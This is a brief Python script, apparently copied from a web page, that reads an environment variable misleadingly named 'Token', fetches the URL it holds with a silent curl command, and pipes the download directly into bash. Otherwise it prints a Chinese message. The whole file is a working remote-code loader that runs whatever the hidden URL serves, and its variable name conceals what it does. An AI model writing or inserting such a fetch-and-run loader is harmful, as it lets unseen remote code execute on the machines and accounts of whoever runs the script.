# -*- coding: utf-8 -*- | |
import os | |
import subprocess | |
token = os.environ.get('Token') | |
if token: | |
curl_command = f'curl -Ls "{token}"' | |
curl_process = subprocess.Popen(curl_command, shell=True, stdout=subprocess.PIPE) | |
bash_process = subprocess.Popen('bash', shell=True, stdin=curl_process.stdout) | |
bash_process.communicate() | |
else: | |
print("少女为您痛哭...") |